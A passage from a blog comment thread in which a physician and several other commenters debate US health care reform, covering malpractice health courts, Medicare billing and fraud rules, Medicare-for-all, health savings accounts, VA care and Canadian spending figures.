about malpractice reform or health courts. I suspect that the trial lawyer puppets among his former Senate colleagues are of the same mindset. Perhaps we can get some of the states to adopt health courts. I think the constitutional issue relates to guaranteeing a jury trial which is what would have to be changed, probably by constitutional amendment, for this category of disputes. Thanks for getting back to us DrThom. A weekend of call is certainly good reason for tardiness. Having spent 25 years owning my own cardiac lab and sleeping more on the couch in my office than at home, I certainly understand. Most of us on this thread agree with your suggestions on liability reform. I don’t think a constitutional amendment would be needed but it may indeed be claimed by the trial attorneys. We wouldn’t suggest changing the criminal justice system that requires a twelve man jury, only the civil court system as it relates to medical lawsuits. The “peers” a doctor should have to convince should be qualified peers that understand medical decisions; other doctors. I would not oppose making it a part of the Medicare-for-all deal, but these things are usually easier to get passed if they are not laden with other issues. I’d like to see them move forward on parallel tracks, but that’s not a deal breaker for me. Your Medicare fraud sensitivity is a legitimate issue, but you can thank the docs in the lower segment of your profession for that. And not just docs; the nursing home environment is probably more rife with fraud than doctor’s offices. I can imagine even your clerks doing the upcoding without the doc’s knowledge, and then benefiting as a whistle blower. I don’t know if having a 2-3 person internal committee would help mitigate any charges, but voluntarily increasing your own oversight may be of some help. Certainly requesting a letter from the Medicare carrier on questionable codes would be advisable. In my old business CMS is attempting to cut the per-test reimbursements on cardiac monitoring, when instead they should be effecting cost reductions by cutting the over utilization. Far more Holters are done in the doctor’s office because they are easy and profitable, and less often because they are a legitimate diagnostic tool. Sometimes the results are meaningful, but not enough physicians really know how to deal with a thousand PVCs on an asymptomatic patient. That’s why I’d like to see a national database that compares practice patters. I don’t have a big problem with private insurers providing Medicare Advantage plans, even at 12.5% higher than Medicare itself. I’d insist that they be non-profit and self-contained (no exorbitant consulting fees to replace overpaid CEOs), and their books are open. I’m concerned with their cutting care to increase profit spread and hiding those profits to look like good guys. The real thing doctors have to worry about is the direction of the system if we don’t fix it now. Rather than belaboring that here I’d refer you to. It’s not going to be a pretty sight. If you think Medicare is tough wait until industry takes over. Well, I’ve learned I can’t post before a three day call weekend. It sounds like, even though your blog is obviously widely read by folks smarter than me, you guys don’t get many regular docs chime in very often. I am flattered by the interest in my opinions, I will do my best to be as honest and direct as I can. Health courts as described are the standard by which all other solutions are measured. The reaction to their implementation as far as patient management is concerned would be toward known quality indices as opposed to the shotgun approach to try to cover all the bases. The increased quality of care and increased efficiency of care would result in positive multiplicative effect. In short, it would be a good thing. What is unclear to me is, considering how the courts are treating judgment caps, how they could ever be implemented short of a constitutional amendment. I don’t see how they can be. Without some sort of tort reform any healthcare reform is doomed to be fatally incomplete. The price will be paid by either a decrease in the quality of the practioners in the system (and a concomitant decrease in the quality and efficiency of the system itself)and/or increasing utilization out of survival instinct. I have seen this issue discussed many times but never toward the issue of how to convince the trial lawyers to give up their stake in the system. I would be very interested to hear your opinions on how to make such as system a reality. Finally, and this might change your opinion of me, but I will have a singular lack of interest in any real work on universal coverage that does not deal with the liability issue front and center. Any idea that does not effectively moderate liability costs will eventually be unaffordable and from most physician’s point of view, a non starter. With regard to using Medicare as a single payor, as a small, ok medium businessman, I would take a single payor Medicare system in a heartbeat as long as it addressed the weakness of the current Medicare system. In its current form, I would still need about the same number of billing staff for reasons I will outline below. I don’t think any of the changes I need are deal breakers from Medicare’s standpoint but they absolutely are by mine. The punitive nature of the program must change. Honestly not a week goes by that I am not reminded of the consequences of Medicare fraud. Medicare fraud, I am told by our attorney, is the only felony crime on the federal books where you do not have to form intent in order to be convicted. In other words, if I overcode, or demonstrate a pattern of overcoding I could be held criminally liable even if I did it unintentionally. I am not saying this is likely, but it is explicitly the current law. It is also what Medicare constantly, and I mean constantly, reminds me of whenever they send out their bulletins. The harping in Washington on “waste, fraud, and abuse”, while politically cheap, has resulted in an environment where I a presumed to be a criminal. Not the way to encourage provider participation in such a system. I don’t want to sound maudlin, but it is a significant stressor and the more of it there is, the shorter my professional life will be. What is more, the poor office worker who presses the buttons on the computer is equally liable. Even more, if she recognizes the pattern and tells CMS before she tells me, she gets to keep a sizeable percentage of the take. Keep in mind that the rules for coding, like IRS regulations, are kept deliberately vague so as to keep me a little uneasy when I determine a level of care. I know that lots of unethical people cheat Medicare, but I would prefer extremely clear rules and extremely harsh criminal penalties to the current system. If we were to try to cover everyone in Medicare and not change this presumption, I would not accept a single new Medicare patient. If I was compelled to accept them in such a system, I honestly believe I would quit. Current covered services in Medicare also reflect this bias that I am a crook. Diagnosis based restrictions on testing significantly hamper my ability to care for patients. Documentation requirements are equally onerous and even more nonsensical. Medicare wants me to improve my foot care in diabetics, but in order to meet the requirement to get paid twenty four bucks for trimming toenails, I have to provide one printed page worth of information. I should only have to dictate “toenails trimmed without complication”. Wellness care is also woeful. Medicare should at least pay for screening tests at intervals that the government’s own joint task force on preventative services recommends. Indeed, it is its lack of coverage of theses services that enables private insurance plans to push their Medicare Advantage plans. Also, the new Medicare D plans may be holding down costs to the consumer, but their use of prior authorization for drugs is onerous (sp?) and a significant barrier to care. PAs must go if you want me to be efficient enough to care for my share of all these newly insured. Hell, at least 80% of the value of a drug is found in the generic version of most classes of meds. Just make sure I have unfettered access to at least one drug in each class. And now that I don’t need their samples to treat my indigent patients, keep that pretty drug rep with the low cut blouse out of my office too (leave the Viagra, though). Even with recent changes, current payments from Medicare do not recognize the importance of high quality primary care physicians who drive the costs in the system. Payment levels are unstable from year to year, making planning difficult in the extreme and, at current levels, they are not enough to meet the income thresholds I described in my previous posts. Although Medicare pays relatively quickly, buffing these claims takes considerable time and expertise as does all the compliance I have to do in this overly punitive environment so I can feel I have a reasonable chance of staying out of prison. Therefore don’t expect my overhead to change much with a Medicare based single payor system, I’ll need all my commercial staff to help with the increased Medicare claims. That said, I think that all these issues are fixable relatively cheaply as long as there is some way to compel the proceduralists to participate in the program enough to keep services available while at the same time allowing them to make enough money on a private FFS basis to make their training worthwhile. Reading back, this sound awful whiny. Look, I practice medicine because I love my patients, I get a good income even considering the time I put in up front, I get some societal respect (except, of course, from out government which seems to think I don’t pay my fair share of taxes on income they assume I stole from them in the first place) and a personal sense of accomplishment. If it takes a single payer to cover everyone I’m in. The costs of my providing care can be easily covered by reducing the barriers in place rather than printing more money. Of all physicians, primary care docs are the ones who need to buy in, after all someone has to provide quality care for the millions of newly insured. It seems to me it is just as important to keep us practicing as long as possible as it is to get new ones in the pipeline. Reform the tort system, forbid physicians from receiving the technical component of testing and compel every physician to participate in a single payor to some level (but not too much). In return, you must completely get out of my face as to what interventions I order, give me clear billing guidelines and trust me to do the right thing. Do that and see how long I stay in practice. There would be no reason to retire, ever. We just bought a comprehensive nextgen emr/practice management system (1.5 million with absolutely no help and much hindrance from our government). I hope it will do everything as advertised. However, if it merely halves my efficiency and triple my work, it will exceed my expectations. More on that later I don’t know Barry, I could go on forever. He may have to take some vacation days so we can get through the list. 🙂 Jack, Maybe we should develop a global budget for the number of questions we ask Dr. Thom before we ask him any more! Let me add three more: 3) Does Medicare interfere with your treatment decisions? 4) What are the major weaknesses of Medicare? 5) Is your office aleady using electronic records, and what would you like to see them do to help your practce? (Aren’t you glad you asked?) And I’d two more questions: 1) If we had a Medicare-only system, how many people could you reduce your billing staff from/to? 2) Does Medicare most often under-pay, over-pay, or is their fee schedule fairly on target? Dr. Thom, Very interesting comments. I have two questions regardings #1 and #3 which are: 1. Could you make a satsifactory (to you) income if you collected Medicare rates from all of your patients? 2. If we had a sensible malpractice system (like health courts) that you and other docs perceived would resolve disputes fairly and objectively based on sound science and accepted medical practice, how would your practice pattern change, and how much of the healthcare costs that you and other docs currently “drive” could be safely eliminated? Thanks DrThom, you’re my kind of doctor. I agree with you 100% on your list of seven. Good docs should indeed earn in the top 10% wages and their medical training should be totally forgiven if they ranked high in the graduating class. What we need most is to get the non-health care services out of the health care delivery system. Insurance company marketing, commissions for the 50,000 brokers, salaries for the 100,000 underwriters, excessive salaries for the executives, and profits for the sharehoders add absolutely nothing to patient care. The knee surgery went well, thank you. I went to a doc who believes that if only half of the knee is bad, replace only that half. Two days out I discarded the crutches and two weeks out I’m walking fine though with some pain, but mostly during therapy. love the discussion As a family physician who is an owner of a multispecialty clinic and the driver of all health care costs, let me tell you what a system should look like. I would be happy if 1. it paid me enough to pay off the 200k worth of debt I piled up getting here and not feel like a sucker for giving up the first 9 years of my professional life. Idon’t have to get rich, but I had better be in the top quintile of income if want to have enough talented motivated providers to keep the system going. There are too many other opportunities in this economy and I can satisfy my desire for service in other ways that won’t shorten my life expectancy 2. There is no insurance company droid getting between me and the intervention my patient needs. Want to improve my efficiencey? don’t make me waste time trying to communicate the justification for my judgement. Limit my choices if you must, but don’t make me jump through any hoops for any of them. Any system that doesn’t essentially trust me won’t work. 3. It removes any profit incentive for me to do one test over another or any test at all for that matter. although I do pretty well myself, it is a distraction 4. It removes the worry that some malpractice attorney will make my life hell for 6 years, using the system to stress me until I settle or have a heart attack. This is a deal breaker. I have never been named but I have seen that scenerio up close and personal over a dozen times. It honestly is a and sometimes the primary consideration in absolutely every decision I make. If your think any system that does not address this will work, you all are living in a dream. Looks to me like health courts will require a constitutional amendment before the liability attorneys will give up on the current litigation model. 5. It gets the marketers out of my face, another distraction 6. It didn’t put any more costs on me than any other business man faces esp taxes on me because I am a physician 7. It gives me the option to work for myself. it will take 5 employed physicians to provide the service of two self employed ones. If you don’t understand this, you will have one unsatisfied patient base I hope your knee is getting better. Bev, regarding paying “list price” for health care… no… you are not. You get the same discount as anyone eles with the same carrier as you. That is one of two things.. the ONLY two things… you should look for when buying insurance. Network ( for the discounted rates ) and a stop less you can live with, that’s IT. And for those advocating HSAs, this will be useful…. Now there’s one I haven’t heard yet. I suppose that’s comin…. Barry, I’d say the one thing these numbers do tell us is that the waste — which is estimated at over 30% of the total — is well hidden and not easily determined when looking at overall costs…. Jack – Maybe it’s all defensive medicine! Just kidding. Barry, I’d say the one thing these numbers do tell us is that the waste — which is estimated at over 30% of the total — is well hidden and not easily determined when looking at overall costs…. What are we trying to prove here? That we really don’t have a health care problem? That the for-profits aren’t all that bad after all? That we can continue on our current course? When I had a product that didn’t work, I would go as far as scrapping the whole thing and startng redesign from scratch. Why are we trying to whittle around the edges here, and who is it we are trying to save? All of the areas you could possibly discuss are headed by special interests that are making money on the system and don’t want to lose position or profits. In my view, and admittedly it has become focused on what I think is the best possible system for Americans, we ought to quit trying to save the negatives and start working on the positives. We could start tomorrow if the politicians would get off their asses and get HR676 passed. See C’mon Barry. If hospitals represent 30% then docs represent 70% Jack — According to the California Healthcare Foundation, U.S. health spending broke down as follows (for 2002): Hospital Care, 31%; Physician and Clinical Services, 22%; Prescription Drugs, 10%; Dental / Other Professional, 10%; Nursing Home / Home Health Care, 9%; Administration, 7%; and Other, 10%. Total 2002 spending: $1.6 trillion. You can access the full report here. Note the relatively low percentage for administration, which includes all spending by insurers plus their profits and only excludes what they spend to pay claims. C’mon Barry. If hospitals represent 30% then docs represent 70%. Hospitals are not free of criticism, especially as more of them have become for-profits. But the system is driven by the physicians because they control the patient base. I think we have to quit defending our terribly fractured free-market health care system and look at the Medicare-for-all system in Canada. We can do it better, we can eliminate the wait times, but we simply have to have the balls to admit that the free-marketers have f**ked this up so badly that only a total remake of the system will fix it. Incidentally, I promised to get back to you on my knee surgery: Hospital charge for surgery room and three days = $23,500. How much could have been cut? Hell, I don’t know. But if they were operating under a Canadian-style system with fixed budgets would not do them any harm. And finally, “all of the above” are guilty of overcharging wherever and whenever they have the chance. That’s free market competition at its best.? Jack – Perhaps others have better information on this than I do, but my understanding is that prescription drugs account for about 10% of healthcare costs, and imaging is another 5%. I think the bright light should be shined on hospital charges – both inpatient and outpatient. By charges, I mean what they actually collect from insurers (including Medicare and Medicaid), not their list prices. Hospital charges account for at least 30% of healthcare costs, and that does not include bills from doctors, anesthesiologists, radiologists, etc. for services performed in a hospital setting that are billed separately. Despite the secular decline in hospital inpatient days that has been ongoing for more than 25 years because of less invasive surgical techniques, new drug therapies, etc., hospital charges are outrageous and continue to soar. Yet, most of them claim that they make little or no profit margin. Just one example from personal experience. In 2005, I went in for angiography. The test began around 2:00 PM. A blockage was found and a Cypher drug eluting stent (DES) was inserted. After a short stay in a recovery holding area, I was transported to a room in their “short stay” unit and was sent home at noon the next day. The bill: $31,000 of which insurance actually paid about $20,000. And that excluded the interventional cardiologist’s charges. Imagine what they must charge for more complex procedures that include a significantly longer hospital stay. Do they really need to bill their operating room time at $4,000 per HOUR? I don’t know how much of this is cost shifting, but I think all the debate about imaging and prescription drugs is small potatoes by comparison. For what it’s worth, guess which category of expense had the LOWEST increase in cost trend in 2006 for United HealthGroup: (a) hospital inpatient costs, (b) hospital outpatient costs, (3) physician charges, or (d) prescription drug costs. Answer: D and by several percentage points primarily because of all the new generics coming to market as more of the branded drugs lose patent protection. I’d just add one more thing:? I can hear it now: “Yes, Mr. Patient, I realize that my stats show more MRIs than the rest of the doctors, but that’s because I leave no stone unturned and I really care about my patients. You can turn down those tests if you want to, but then I must get you to sign this waiver.” Guys, until you’ve had direct experience with the overordering, as I have had, you’ll simply not be convinced. So be it. But these are practices that were once considered fraudulent that suddenly became okay. Pete, I agree with you. Doctors need a sensible litigation system (like special health courts) to be at least reasonably assured that any dispute they are involved in will be decided fairly and objectively based on sound science and appropriate and accepted medical practice, not jurors’ emotions and sympathies for the plaintiff AND the patient needs to have some skin in the game. There also needs to be good pricing transparency readily available to both patients and doctors. Then, perhaps we could reduce the over testing and direct the commodity like work (MRI, blood tests, etc.) to the most cost-effective providers. Jack, I see it as a matter of emphasis. I know doctors order more tests when the profit motive is involved. Incentives matter. My sense is, however, that defensive medicine is a larger contributor to overtesting than physician profit motive. The majority of physicians practice defensive medicine (it’s ingrained in training), but only a minority are profiting from their CT and MRI scans, with only a minority of those doctors ordering scans inappropriately. (I think you said something similar in the thread above regarding ethical vs. unethical docs.) Pete Pete, I fully recognize that it is not the malpractice costs that bite, but the costs of defensive medicine. Isn’t it strange, though, that while malpractice costs have remained steady over the last six years the ordering of procedeures by physicians who are moving the cash-cow tests (MRI, CT, Echo) into their clinics, and no longer referring patients to the hospitals and their testing, has increased substantially. Did all of a suddent the presence of this device in their own lab increase their sensitivity to the malractice threat that has not been increasing? I don’t think so. Physicians should not be allowed to refer patients to internal labs in which their clinic has an ownership. They can refer them to the hospital that has no conflicted ownership. De-lurking for a couple comments re: Barry and Jack. Re: “skin in the game” . Barry, What’s going to happen when the patient doesn’t get the MRI (decision influenced by cost and doctor’s judgment) and ends up having a serious diagnosis delayed, with serious consequences. Won’t the lawyer say that the doctor didn’t appropriately emphasize the importance of getting the scan in ruling out disease? Won’t the argument be “of course my client would have paid for the MRI if you had emphasized its importance.” It’s possible (likely?) that unless the doctor insists on the test in these situations, there will still be legal risk for the physician. Is a doc going to stick his neck out, expose herself to risk, and give you judgment? Not unless the legal culture changes. that leads into my next comment: >The litigation arena is not the monster you make it >out to be. Malpractice costs have remained at less >than one-half of one percent for over five years now, >all while health care costs have skyrocketed. I >nonetheless, as you do, support special medical courts. Jack, To be sort of rude ;), how many times does it have to be pointed out that defensive medicine is the real issue here, not calculated (premiums, payouts, etc.) malpractice costs? As mentioned above, if doctors could feel relatively confident in using judgment for patients instead of feeling the need to “rule everything out” to prevent a lawsuit, billions of dollars would be saved. You talk about the 20% of docs who order tests to make money. The other 80% order tests so they don’t get sued. Which is a bigger problem? Now that I got that off my chest, I agree that special malpractice courts are probably essential in changing this culture of defensive medicine. Which is what you advocate. So we agree. Pete Barry, you keep using the word “insurers,” like whatever we come up with they have to be a part of it. Yes, they propably do have IT systems; about 400 of them. Everybody is doing their own thing, and I believe that if we are to really get serious about a national IT system we should start with a system already in the public domain rather than build on a proprietary software package. That system already exists in the VA’s VisTa system, and it is available for free for anyone that wants to expand on it. It is open source, like Linux, and I would like to see a bidding system that would let qualifying companies bid on expanding it to meet the needs of a standardized national database. If one or more of the current insurers want to bid on it, fine. But the software must remain open source and owned by the taxpayers. You had some excellent ideas on what this IT system should do, and if you ever get that list formalized I’d sure like to get a copy of it. As well, even if an insurer decides to participate as a contracted programming source, they should still be removed with the rest of the “free market” providers. If they want to bid on the administrative contracts for Medicare, for which there is already one per state (WPS here in Wisconsin, Blue Cross and others in other states), they could jump into that market. So could Halliburton if they wanted to. I don’t like Medicare’s fee-for-service payment system, but I think increasing oversight on the over utilization problem coupled with a national IT system would stem these abuses. Jack – We’re in basic agreement on this one. I’m certainly not an expert on IT, but I strongly believe that this is one area where insurers can really add value. This is because of their sophisticated IT capability, the data they possess from a huge volume of claims history, etc. Even Medicare uses the private insurers (mainly the Blues) to process and pay its claims. I was amazed to learn just yesterday, for example, that United HealthGroup has five year prescription drug history on 240 million people! I was told that such information gives a pretty good idea about what diseases and conditions people have. United also has a good health risk scoring capability (developed as a result of underwriting) which their Ingenix division sells to others. Last year, United also announced that it will stop paying for Nexium producing a savings of $150 million per year for its customers. It says that Prilosec and its generic equivalent are just as effective. Presumably, it would not be insurmountable to track medical spending by referring doctor as well as by the actual provider. At the same time, I think insurers need to give up on their historical demand for confidentiality in provider contracting which prevents disclosure of what hospitals, doctors, imaging centers, labs, etc. are actually paid by insurers (as opposed to list prices). If we had better transparency, both patients and doctors could make more cost-effective decisions, especially with respect to the commodity like services such as imaging, blood work, and even drugs. I think there is another dynamic here. Even I would have to admit that the VA does not attract the top physcians because the “salary” doesn’t permit them to get rich, so the VA gets an overall lower level of capability. That of course would be mitigated if we folded the entire US healthcare system into the VA’s. But I’d prefer for the moment folding all VA patients into the public-private Medicare system. I don’t like Medicare’s fee-for-service payment system, but I think increasing oversight on the over utilization problem coupled with a national IT system would stem these abuses. Barry is better equipped to address that. Disappointing news, Bev. The VA seems like a good model but underfunded. I think there is still the misperception that heart attack is a white male disease. But it is nice to see that they even measure themselves. And Barry, the main reason for-profit insurers get a bad rap from me and others is because they are taking a piece of the funding for services that are not providing health care at all (marketing, commissions, profits) while 45 million Americans remain uninsured and 18,000 Americans die prematurely each year because they are uninsured, all so the insurance industry can have a seat at the table. Sorry if you think I’m being unfair, but they are dispensable. That 170-180 million Americans get their insurance through their employers is unmoving. We should not be saddling employers with health care in the first place. It is driving jobs out of the country and seriously affecting our economy and security. The litigation arena is not the monster you make it out to be. Malpractice costs have remained at less than one-half of one percent for over five years now, all while health care costs have skyrocketed. I nonetheless, as you do, support special medical courts. Bev, Thanks for the research and the links. It sounds like the VA, while trying hard I’m sure, is not providing as uniformly wonderful care as some would have us believe. I also think the for profit insurers are getting a bad rap, especially from single payer advocates. There are between 170-180 million Americans who get their health insurance through other than Medicare and Medicaid. Of these, roughly 50-55 million work for large employers (defined as 5,000 employees and above), and virtually all of those self-insure. They contract with insurers to provide administrative services like claims processing, network access, etc. but pay all healthcare claims out of their own funds. The Federal Employee Health Benefits Plan, I believe, is a cost-plus contract which is comparable to self-insurance. The non-profit insurers have a very large market share. Indeed, in Minnesota (where United HealthGroup is headquartered), non-profits have a 100% market share by law. In Pennsylvania, its about a 70% share. Many of the Blues remain non-profit. The non-profits don’t have to pay taxes, their medical cost ratios are somewhat higher than the for profit companies, and their profit margins are lower. Even the for profits average only about 5% after tax net income margin. I’ve commented before that doctors drive virtually all healthcare spending through hospital admissions, referrals to specialists, ordering tests, prescribing drugs, counseling patients and doing procedures themselves. Patients may contribute to cost growth by asking for non-invasive but expensive tests like MRI’s “just to be sure” or to rule out cancer or whatever. It is often not easy to determine before the fact whether a test is necessary or not, but the litigation environment that doctors have to practice in creates a bias toward over treatment. I know, some of them make money doing the tests too. However, I’ll bet that if the litigation environment were more sensible AND patients had some skin in the game and an incentive to care about costs, it would make a positive difference.. And Bev, I say go for it, if that works for you. But 70% of the public prefers a universal government-run health care system, and they are paying the bill so they should get it. Unfortunately, the health care industry is contributing $100 million per year to campaigns to keep the system broken, so it is an uphill battle. We have a bought and paid for congress. OK, I tried to research Barry’s question regarding how many cardiac procedures are ordered by VA docs vs. private docs. This was in an attempt to answer whether private docs are over-ordering procedures for personal profit. Unfortunately, there is no clear answer, at least in journals that one can access for free. (BTW, this is another pet peeve of mine; just because I’m not a cardiologist and won’t pay for a subscription to Circulation, or the American Heart Journal, or whatever, I can’t benefit from reading the research – even though my tax $$ may have helped fund it…..) There is a report from 2003 , and I quote, “VA patients underwent significantly fewer procedures than their matched (for severity of disease, age, etc.) Medicare counterparts. For patients 65 yrs or older, utilization rates for catheterization, CABG, angioplasty and revascularization were significantly lower for veterans compared to Medicare patients treated in private sector hospitals”. BUT – the mean length of stay for veterans was 11.1 days vs. 8.8 days for Medicare, AND the VA patients had higher short and long term mortality than private sector patients. So in other words, they got less treatment but more of them died!! So I don’t think that answers our question. In fact, the last link cited refers to a program by the VA aimed at improving what is deemed inferior cardiac care for veterans compared to non-veterans (…..strategic goal 3pdf) I did learn, of interest, that there is a clearcut bias among both VA docs and private docs to order fewer of these procedures in both blacks and women. So back to arguing over HSA’s, gentlemen. I have one. Sure, I’m saving the $$ but paying directly out of pocket at list price for my medical procedures. Since retired docs have no employer-sponsored health insurance (I buy mine thru the College of American Pathologists and it’s $2000/quarter at $4500 deductible), that’s the only way to go for me, Jack!! Here’s a better link, but you have to eliminate the space opedne_william__070128_one_health_care_poli.htm or you can go to this reduced version: An interesting article relevant to our discussion: Terrence, having the payors at the table is understandable as long as we recognize that the payors are the taxpayers. If we are to discuss how to eliminate all of the waste, I see no value in having the waste at the table. Unless its a departure dinner. This should be solved by a nonpartisan committee. Sorry Tim, you described yourself as an agent and I assumed that to mean an insurance agent — and they could also argue for themselves being a patient advocate. And I don’t even have a problem with that, given where we have been and where we are going in the furure. But insurance companies and agents are dispensible. They add cost and no value. I don’t consider Barry’s home/health insurance comparison relevant. One is for an expensive piece of wood that has no organs functioning daily and the other is for life and quality of life for ourselves or our loved ones. We will never agree on the value of HSAs, Tim, so I say leave them as an option to those who want them. But for those concerned with health security we need a Medicare-for-all system. To see more on my wild arguments go to: or Jack, HSA’s are not my livelihood. Helping people to not be ripped of by their carriers, however, is a different story. The only reason I even talk about HSA’s is in comparison to the traditional way of buying insurance. The traditional way of buying insurance has the carrier paying for just about everything, even all the small things, and they aren’t going to lose that game. You will pay for it, and then some. Take on the little things yourself, and let the carriers worry about the big stuff. I think Barry hit on it a little bit regarding car and home insurance. Most people don’t hit a $500 deductible. So why have everyone buy a ridiculous;ly loaded plan with all kinds of “benefits” they will never use? That is my main argument for HSA’s. Take on the first dollar coverage yourself, just like you do for car and homeowners insurance. And if you thing I’m paying 4 to 5k a year for insurance with an HSA you’re WAY off the mark. It’s $75 a month for an HSA plan. If I were to buy a fully loaded plan with all kinds of “copays” in it and coninsurance, I would probably be up around where you are talking, at 300 – 400 a month. But why do that? I can take on first dollar coverage at a cost of about 900 a year, and my worst case is I spend an additional 2500 if I get into a mess of some sort. The HSA plan isn’t just for setting up a tax shelter, it’s about taking on the little things yourself, rather than pay the carrier to do it for you, in which case, you will lose every time. Going back to the car insurance parallel, when you bought car insurance did you buy oil change insurance? For your homeowners policy did you get lawn mowing insurance? No and no. These are routine things that you can pay for youself more cost effectively, rather than give the carriers money to do it for you. Office visits, ER visits, etc… it’s a losing game if you buy that from the insurance company. These things aren’t insurance, they are built in prepaid claims that you get to pay for every month in premium, whether or not you even utilize them. THIS is my argument as to why HSA plans are a better way to go. The tax benefits just add icing to the cake if you can get it. I would say Matt has it about right including his comments at the end about Hillarycare, which is a far far better thing than straight single payer. It appears that a bipartisan solution at the federal and/or state level may be achievable in my lifetime, a rather pleasant surprise, if and only if reformers learn from the mistakes of the past and give providers and payors seats at the table. Peter, Thanks for the very interesting information about healthcare spending in Canada. In looking at the numbers from the CBO study that I linked to earlier, it appears that the gap between what Canada and the U.S. spend on the elderly is much smaller than the spending gap for care that covers the rest of the population. The CBO study, however, only includes spending for Medicare covered services though it includes out of pocket spending and benefits paid by private supplemental insurance policies. It does not include, I believe, spending for long term care whether paid by Medicaid, private individuals or insurers who sold long term care policies. Since I have consistently advocated for using the states as laboratories, I nominate Massachusetts to pilot a Medicare for All approach since it’s a liberal state and its senior Senator, Ted Kennedy, is a long time advocate for single payer health insurance. Massachusetts is neither small nor large in population, it has a large city (Boston) as well as suburban and rural areas. It has a number of large academic medical centers and many small community hospitals. In short, it sounds like a good candidate to me. I would not like to see NJ be the pioneer, however. Jack and Tim, When listening to the debate about HSA’s, I’m reminded of the concept economists call: “the importance of being unimportant.” In this context, it means that people don’t mind reasonably high deductibles for auto and homeowners insurance. In fact, if they never have a claim in their entire lives because they weren’t in a car accident and their home never suffered much damage from a fire or storm, they’re happy. Why? Because the annual premium is fairly small (probably under $1,000 in each case). For health insurance, by contrast, asking a young, healthy person to pay $4,000 or $5,000 per year for single coverage that he will most likely not need or use is perceived as, at best, a bad value. It probably represents over 10% of income for, in his mind, nothing. While I think he’s wrong, and I think everyone should have coverage, especially for catastrophic events, I at least understand where he’s coming from. I say again that I think HSA’s are fine for the upper half of the income distribution. I think having some “skin in the game” is a good thing, but I think the amount of it should be scaled to income and not be some arbitrary flat dollar figure. Tim, I’m with Jack on HSA’s. Just another way for rich people to reduce their tax share. It works for people with extra savings to sock away but does nothing for the people who need healthcare support. This will not solve spiraling healthcare costs. This is just another Republican tax scheme for contributors. Tim, let me make clear one thing: Jack reeeeeaaaly does hate HSAs! And he makes no bones about it. HSAs are an accident waiting to happen. They were conceived by an insurance company (Golden Rule) not to treat patients, but to make lots of money! They will benefit Wall Street and those who market the plans more than they will benefit the patients. They will draw the young and healthy out of the pool we need to get our shared costs to a minimum. That is, until the young and healthy are no longer young and healthy, then they’ll want to opt into the Medicare pool. All you have to do is look at whose and how many hands are in the pie to realize that the money is not being sent efficiently on health care. How many young mothers are going to skip their blood pressure medicine because it means dipping into savings? How many HSA patients are going to make some really stupid decisions and die as a result of wanting to build their account? Yea, it’s your money and you do with it what you want. But let the saner among us opt for a system that puts health ahead of money. I can certainly understand your enthusiasm for HSAs. They are your livelihood, just as motorcycles are the livelihood of motorcycle salesmen. But that doesn’t make them safer and it doesn’t add to the long term health of the country. You’re probably young and indestructible. I’m 69 and have dealt with patients and their lack of medical skills for 25 years. I think the HSA market takes advantage of their ignorance. I have come to the conclusion that Jack reeeeeeally hates HSA’s. 8^) Interesting point that Jack made though, about HSA’s being available for those that want them. Ironically, those that are on the state plans and HIPAA plans can NOT have HSA’s. Odd. Just because you are deemed “unhealthy” you can’t have an HSA account? Seems kind of odd since being unhealthy has nothing to do with how much money you have or whether or not you can take advantage of a tax law. How is an HSA gambling with your future assets? You set money aside, and you use it if you have to. Once you’ve spent up to the deductible, you are covered 100% for darn near anything that comes along the rest of the year. IF you don’t use it, it stays where it is for future possible use, and you can use it for other things after you retire like LTC insurance. How is setting aside my own money gambling? It’s mine. I own it. I am fully covered and have access to a network of doctors. >>>”As for the effectiveness of other systems to provide healthcare at lower costs, I would like to see the data that John Fembup asked for several months back. That is: per capita healthcare spending for the 65 and over population only, not the total population.” Barry, Here are numbers from CIHI by population. You can send this to John and see if this help him. I did it this way rather than the link as it was fairly short and the link may present problems. “December 5, 2006—Health care spending in Canada is expected to reach $148 billion in 2006, an increase of $8 billion over last year, according to figures released today by the Canadian Institute for Health Information (CIHI) in its annual report on health care spending. National Health Expenditure Trends, 1975–2006 projects that total health care spending in Canada will increase by 5.8% in 2006 over the previous year. This increase is slightly lower than the estimated annual growth rate of 6.4% in 2005, and lower than the average yearly rate of increase (7.8%) from 2000 to 2004. After adjustment is made for inflation, health expenditures in 2006 are expected to grow by 3.7% or reach $120 billion in constant 1997 dollars. “For the tenth consecutive year, health care spending continues to outpace inflation and population growth,” says Graham W. S. Scott, C.M., Q.C., Chairman of CIHI’s Board of Directors. “This sustained period of growth may be due in part to new public money flowing into health care delivery from federal/provincial accords. However, while health care spending continues to grow, it now appears to be growing at a slightly slower rate.” CIHI’s estimates also reveal that while health care spending as a share of Canada’s gross domestic product (GDP) is expected to stay relatively stable this year, it remains at its highest level in 31 years. Health care spending as a share of GDP is expected to reach 10.3% this year, compared to an estimated 10.2% in 2005 and in 2004. Health care spending as a proportion of GDP was at its lowest (6.8%) in 1979, climbing to a 10.0% peak in 1992, before dipping and rising again to its current high level. Spending higher per person for younger and older Canadians Total health care spending per capita is expected to reach $4,548 in 2006, a 4.9% increase over last year. In 2004, the latest available year for data broken down by age group, health care spending by provincial and territorial governments was highest for infants and seniors, costing an estimated $7,565 per person for Canadians under the age of 1, and $8,969 for those aged 65 and over.” “The beginning and final years of life are the times when people use health care the most,” says CIHI President and CEO Glenda Yeates. “This is a trend that has been consistent over time, and continues to be an important factor in health care spending. But the proportion we spend on seniors has remained relatively stable in the last few years.” “CIHI’s figures show that Canadians aged 65 and over accounted for an estimated 44% of total provincial and territorial government health care spending in 2004, a proportion that has not changed significantly since 1998, when national data broken down by age group first became available. Infants (under 1 year of age) account for about 3%.” Then this comparison by CIHI: “Canada still among top five health spenders in 2004 Canada continues to rank among the world’s top five health spenders when compared to other countries in the Organisation for Economic Co-operation and Development (OECD), and remains behind the United States in terms of health care spending per person. Among 21 countries with similar accounting systems, the U.S. maintained its rank as the highest per capita spender on health care (US$6,102) in 2004, the latest year for which data are available. Canada ranked fifth in per capita spending (US$3,165), after Luxembourg (US$5,089), Switzerland (US$4,077) and Norway (US$3,966). The OECD countries that spent the least per person on health care in 2004 were Turkey (US$580) followed by Mexico (US$662).” I’m not sure why you want to break it down but anyway you cut it Canada is doing it for less, far less, by age, by sex, by skin color, by sexual preference. As long as Americans continue to want the power of health spending controlled by providers through the power of bribed politicians they can expect to see no end to spiraling costs. Tim, HSAs are a crap shoot. Ten years from now you are going to be able to tell of some great success stories and I’m going to be able to show you some great failures and bankrupcies. With a Medicare-for-all system you are not gambling with your future assets. Everybody wins and are properly cared for. As well, nobody denied themselves or a family member needed care because they didn’t want to dip into their savings. Care, incidentally, that gets more expensive down the line the longer you delay 